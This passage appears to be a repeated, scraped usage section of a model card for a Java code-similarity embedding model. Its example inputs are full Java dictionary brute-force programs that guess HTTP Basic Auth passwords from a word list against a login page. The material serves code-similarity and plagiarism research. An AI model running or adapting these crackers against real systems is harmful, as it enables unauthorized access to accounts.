    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n     